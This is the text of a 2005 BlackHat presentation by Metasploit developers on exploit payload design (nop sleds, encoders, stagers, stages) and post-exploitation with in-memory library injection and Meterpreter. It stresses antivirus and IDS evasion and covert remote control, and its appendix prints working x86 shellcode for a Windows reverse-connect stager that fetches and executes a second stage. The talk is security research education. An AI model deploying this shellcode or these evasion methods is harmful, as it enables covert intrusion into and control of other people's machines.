Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- spoonm
  - Full-time student
  - Metasploit developer since late 2003
- skape
  - Lead software developer by day
  - Independent security researcher by night
  - Joined the Metasploit project in 2004
  - Responsible for all cool features

What's this presentation about?

- What it's not about
  - New exploit / attack vectors
  - New exploitation techniques
  - 0day, bugs, etc
- What it is about
  - What you can do after owning EIP
  - The techniques to do it
  - Our tools to support it

Plan of attack

- Payload Infrastructure
  - Payload composition
  - How payloads work
  - Recent tools, tricks, and techniques
- Post-exploitation tools
  - Background & review of existing tools
  - The technology behind our tools
  - How they can be used
  - Crazy cool features for the end-user

Our definitions: the exploitation cycle

- **Pre-exploitation** - Before the attack
  - Find a bug, isolate, write exploit
  - Write any other tools, payloads, etc
- **Exploitation** - Leveraging the vulnerability
  - Recon, information gathering, find target
  - Initialize tools and infrastructure
  - Launch the exploit
- **Post-exploitation** - Manipulating the target
  - Arbitrary command execution
  - Command execute via shell
  - File access, VNC, pivoting, etc
  - Advanced payload interaction

Part II

Payload Infrastructure

Anatomy of a Payload

[nops] [decoder (encoded payload)]

- **Nop sled**
  - For exploits where return is uncertain
  - Control flows through the sled into the encoder
  - Generally 1 byte aligned for x86
- **Decoder**
  - Synonymous with payload encoder
  - Loops and decodes payload
  - Payload executed when finished
- **Payload**
  - Arbitrary code
  - Typically provides a command shell

What's a nop sled?

Definition

- A series of bytes that equate to no-operations on the target architecture

How a nop sled works

- Client builds a nop sled and prepends it to a payload
- Client transmits the entire payload via an exploit
- Target executes all, some, or none of the nop instructions
- Execution falls through to the payload

What's so cool about nop sleds?

- Not all vulnerabilities have predictable return addresses
  - Particularly useful when brute forcing
- Using a sled can improve exploit quality
  - Increasing the brute force step size decreases number of attempts

Nop sled technology

Existing technology

- `perl -e 'print "\x90" x $ARGV[0]"' sled_size`
- ADMutate - single-byte x86

Metasploit technology

- Opty2 multi-byte sled generator
- Based on Optyx's multi-byte sled generator

What’s an encoder?

Definition

- Algorithm to retain payload functionality, but alter the byte sequence

How an encoder works

- Client encodes the payload prior to transmission
- Client prepends decoder stub to the payload
- Client transmits the entire payload via an exploit
- Target executes the decoder stub
- Decoder stub performs inverse operation on the payload
- Original payload is executed

What's so cool about encoders?

- Avoid common restricted characters (`0x00`, `0x0a`, etc)
- Survive application translations (unicode, toupper)
- IDS evasion
  - Static string signatures (`/bin/sh`)
  - Specific payload and payload pattern signatures

Encoder technology

Existing technology

- XOR
  - Defacto standard for encoders
  - Typically performed on a byte, word, or dword basis
  - Variable or static key
  - Decoder stubs are usually static excluding the key
- Alphanumeric / Unicode
  - Rix's x86 encoder from Phrack 57
  - SkyLined's Alpha2 x86 ascii and unicode encoder
  - Dave Aitel and FX's unicode encoders

Metasploit technology

- Shikata Ga Nai

What’s a payload?

Definition

- Arbitrary code that is to be executed upon successful exploitation

How a payload works

- Client prepares the payload for execution
- Data may be embedded (cmd to execute, hostname, port, etc)
- Client transmits the payload via an exploit
- Target executes the payload

The three types of payloads

- **Single**
  - A self-contained payload that performs a specific task
  - Size varies depending on the task
  - Example: Reverse of bind command shell
- **Stager**
  - A stub payload that loads / bootstraps a stage
  - Size generally much smaller than single payloads
  - Passes connection information onto the stage
- **Stage**
  - Similar to a single payload, but takes advantage of staging
  - Uses connection passed from the stager
  - Not subject to size limitations of individual vulnerabilities
  - A stager can also be a stage

Single payloads

- Easy plug & chug payloads
- Task oriented and connection specific
- Single payloads have to be developed for each connection (portbind, reverse, findsock)
  - Requires the payload to be implemented N times
  - Shellcode development systems tried to help with this
- Subject to size limitations of individual vulnerabilities

Payload stagers

- Stagers are typically network based and follow three basic steps
  - Establish connection to attacker (reverse, portbind, findsock)
  - Read in a payload from the connection
  - Setup connecion information and branch to stage
- The three steps make it so stages are independent of the connection method
  - No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute
- Eliminate the need to re-implement payloads for each connection method
- Provides an abstraction level for loading code onto a remote machine through any medium

Existing payload stager technology

- Standard reverse, portbind, and findsock stagers included in Metasploit 2.2+
- LSD Win32 Assembly Components
- Found in public exploits (Solar Eclipse OpenSSL)

Payload stages

- Payload stages are executed by payload stagers and perform arbitrary tasks
- Some examples of payload stages include
  - Execute a command shell and redirect IO to the attacker
  - Execute an arbitrary command (ex adduser)
  - Download an executable from a URL and execute it

Why are payload stages useful?

- Highly reusable (connection independent, etc)
- Can conform to some sort of ABI
- Not subject to size limitations of individual vulnerabilities
- This means they can be arbitrarily complex

“Advantage” payloads

- Shellcode generation systems
- Generally have more features because they’re easier to write
- The system’s infrastructure makes the payloads more capable
- Help to reduce the tediousness of writing payloads
- Stealth’s Hellkit
- Core ST’s InlineEgg
- Philippe’s Shellforge
- Dave Aitel’s MOSDEF

Windows ordinal stagers

- Technique from Oded's lightning talk at core04
- Uses static ordinals in `WS2_32.DLL` to locate symbol addresses
- Compatible with all versions of Windows (including 9X)
- Results in very low-overhead symbol resolution
- Facilitates implementation of reverse, portbind, and findsock stagers
- Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- Detailed write-up can be found in reference materials

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol
- Most of the time, ordinals are incremented linearly by the linker
- Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- When ordinals are the same every build, they are referred to as static
- Using an image's exports by ordinal instead of by name is more efficient at runtime
- However, it will not be reliably portable unless the ordinals are known-static
- Very few PE files use known-static ordinals, but `WS2_32.DLL` is one that does
  - 30 symbols use static ordinals in `WS2_32.DLL`

Limitations of ordinal stagers

- Only 30 symbols can be used
  - `WSASocketA` is not among them
- Can't initialize winsock if it isn't initialized
  - `WSAStartup` doesn't have a static ordinal
- Can't use sockets as direct standard I/O handles
  - Sockets returned from `socket` aren't valid console handles
  - Must use pipes instead

Implementing a reverse ordinal stager

- Locate the base address of `WS2_32.DLL`
  - Extract the Peb->Ldr pointer
  - Extract Flink from the InInitOrderModuleList
  - Loop through loaded modules comparing module names
  - Module name is stored in unicode, but can be partially translated to ANSI
  - Once `WS2_32.DLL` is found, extract its BaseAddress
- Resolve `socket`, `connect`, and `recv`
  - Use static ordinals to index the Export Directory Address Table
- Allocate a socket, connect to the attacker, and read in the next payload
- Requires that `WS2_32.DLL` already be loaded in the target process

Part III

Post Exploitation

What is post-exploitation?

- The purpose of an exploit is to manipulate a target
- Manipulation of a target begins in post-exploitation
  - Command shells are executed
  - Files are downloaded
- Represents the culmination of the exploitation cycle

What do most people do in post-exploitation?

- Most people spawn a command shell
  - Poor automation support
  - Reliant on the shell's intrinsic commands
  - Limited to installed applications
  - Can't provide advanced features
- Some people use syscall proxies
  - Good automation support
  - Partial or full access to target native API
  - Can be clumsy when implementing complex features
  - Typically require specialized build steps

Dispatch Ninja Demos!

What is Meterpreter?

- An advanced post-exploitation system
- Based on library injection technology
- First released with Metasploit 2.3
- Detailed write-up can be found in reference materials

- After exploitation, a Meterpreter server DLL is loaded on the target
- Attackers use a Meterpreter client to interact with the server to...
  - Load run-time extensions in the form of DLLs
  - Interact with communication channels

- But before understanding Meterpreter, one should understand library injection...

Library injection

- Provides a method of loading a library (DLL) into an exploited process
- Libraries are functionally equivalent to executables
  - Full access to various OS-provided APIs
  - Can do anything an executable can do
- Library injection is covert; no new processes need to be created
- Detailed write-up can be found in reference materials

Types of library injection

- Two primary methods exist to inject a library
  1. **On-Disk**: loading a library from the target's harddrive or a file share
  2. **In-Memory**: loading a library entirely from memory
- Both are conceptually portable to non-Windows platforms

On-Disk library injection

- Loading a library from disk has been the defacto standard for Windows payloads
- Loading a library from a file share was first discussed by Brett Moore

- On-Disk injection subject to filtering by Antivirus due to filesystem access
- Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

- First Windows implementation released with Metasploit 2.2
- Libraries are loaded entirely from memory
- No disk access means no Antivirus interference
- Most stealthy form of library injection thus far identified
- No disk access means no forensic trace if the machine loses power

In-Memory library injection on Windows

- Library loading on Windows is provided through `NTDLL.DLL`
- `NTDLL.DLL` only supports loading libraries from disk

- To load libraries from memory, `NTDLL.DLL` must be tricked
- When loading libraries, low-level system calls are used to interact with the file on disk
  - `NtOpenFile`
  - `NtCreateSection`
  - `NtMapViewOfSection`
- These routines can be hooked to change their behavior to operate against a memory region

- Once hooked, calling `LoadLibraryA` with a unique pseudo file name is all that's needed

Library injection in action: VNC

- VNC is a remote desktop protocol
- Very useful for remote administration beyond simple CLIs

- First demonstrated at BlackHat USA 2004
- Metasploit team converted RealVNC to a standalone DLL
  - No non-standard file dependencies
  - No installation required
  - Does not make any registry or filesystem changes
  - Does not listen on a port; uses payload connection as a VNC client
- By using the generic library loading stager, VNC was simply plugged in

- Extremely useful when illustrating security weaknesses
- Suits understand mouse movement much better than command lines

Meterpreter: Design goals

- Primary design goals are to be...
  - **Stealthy**: no disk access and no new process by default
  - **Powerful**: channelized communication and robust protocol
  - **Extensible**: run-time augmentation of features with extensions
- Portability also a design consideration
  - The current server implementation is only for Windows

Architecture - design goals

- Very flexible protocol; should adapt to extension requirements without modification
- Should expose a channelized communication system for extensions
- Should be as stealthy as possible
- Should be portable to various platforms
- Clients on one platform should work with servers on another
- All non-critical features should be implemented by extensions

Architecture - protocol

- Uses TLV (`Type-Length-Value`) to support opaque data
- Every packet is composed of zero or more TLVs
- Packets themselves are TLVs
  - Type is the packet type (request, response)
  - Length is the length of the packet
  - Value is zero or more embedded TLVs
- TLVs make packet parsing simplistic and flexible
  - No formatting knowledge is required to parse the packet outside of the TLV structure

Core client/server interface

- Server written in C, client written in any language
- Provides a minimal interface to support the loading of extensions
- Implements basic packet transmission and dispatching
- Exposes channel allocation and management to extensions
- Also includes support for migrating the server to another running process

- Metasploit 2.x has a perl Meterpreter client
- Metasploit 3.x will use a ruby Meterpreter client

Augmenting features at run-time

- Adding new features is as simple as loading a DLL on the server
  - Client uploads the extension DLL
  - Server loads the DLL from memory and initializes it
- Client can begin sending commands for the new extension

Meterpreter extensions in action: Stdapi

- Included in Metasploit 3.0
- Combination of previous extensions into standard interface
- Provides access to standard OS features
- Feature set provides for robust client-side automation
- Designed to mirror the Ruby API to make it easy to use existing scripts against targets

Why is Meterpreter useful?

- Standard interface makes it possible to use one client to perform common actions on various platforms
  - Execute a command interpreter and channelize the output
  - Turn on the target's USB webcam and begin streaming video
- Programmatically automatable
  - RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
  - Extension-based architecture makes Meterpreter completely flexible
- Use of in-memory library injection makes it possible to run in a stealth fashion

Some of the features Meterpreter can offer

- Command execution & manipulation
- Registry interaction
- File system interaction
- Network pivoting & port forwarding
- Complete native API proxying
- Anything you can do as a native DLL, Meterpreter can do!
- Sky’s the limit!

Part IV

Demos

Part V

Conclusion

What does the future hold?

- Exploitation vectors and techniques are mature
- Public post-exploitation suites still very weak
- However, post-exploitation is maturing
- Metasploit 3.0 should be cool

Reference Material

Payload Stagers

- PassiveX
  `http://www.uninformed.org/?v=1&a=3&t=sumry`

Payload Stages

- Library Injection
  `http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf`
- Meterpreter
  `http://www.nologin.org/Downloads/Papers/meterpreter.pdf`

Part VI

Appendix

Part VII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

```
FC          cld                        ; clear direction (lodsd)
31DB        xor ebx,ebx                ; zero ebx
648B4330    mov eax,[fs:ebx+0x30]      ; eax = PEB
8B400C      mov eax,[eax+0xc]          ; eax = PEB->Ldr
8B501C      mov edx,[eax+0x1c]         ; edx = Ldr->InitList.Flink
8B12        mov edx,[edx]              ; edx = LdrModule->Flink
8B7220      mov esi,[edx+0x20]         ; esi = LdrModule->DllName
AD          lodsd                      ; eax = [esi] ; esi += 4
AD          lodsd                      ; eax = [esi] ; esi += 4
4E          dec esi                    ; esi--
0306        add eax,[esi]              ; eax = eax + [esi]
                                       ; (4byte unicode->ANSI)
3D32335F32  cmp eax,0x325f3332         ; eax == 2_32?
75EF        jnz 0xd                    ; not equal, continue loop
```

Resolve symbols using static ordinals

```
8B6A08     mov ebp,[edx+0x8]      ; ebp = LdrModule->BaseAddr
8B453C     mov eax,[ebp+0x3c]     ; eax = DosHdr->e_lfanew
8B4C0578   mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C   mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9       add ecx,ebp            ; ecx += ws2base
8B4158     mov eax,[ecx+0x58]     ; eax = socket rva
01E8       add eax,ebp            ; eax += ws2base
8B713C     mov esi,[ecx+0x3c]     ; esi = recv rva
01EE       add esi,ebp            ; esi += ws2base
03690C     add ebp,[ecx+0xc]      ; ebp += connect rva
```

Create the socket, connect back, recv, and jump

```
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53         push ebx                ; push 0
6A01       push byte +0x1          ; push SOCK_STREAM
6A02       push byte +0x2          ; push AF_INET
FFD0       call eax                ; call socket
97         xchg eax,edi            ; edi = fd
687F000001 push dword 0x100007f    ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1       mov ecx,esp             ; ecx = &sockaddr_in
53         push ebx                ; push flags (0)
B70C       mov bh,0xc              ; ebx = 0x0c00
53         push ebx                ; push length (0xc00)
51         push ecx                ; push buffer
57         push edi                ; push fd
51         push ecx                ; push buffer
6A10       push byte +0x10         ; push addrlen (16)
51         push ecx                ; push &sockaddr_in
57         push edi                ; push fd
56         push esi                ; push recv
FFE5       jmp ebp                 ; call connect
```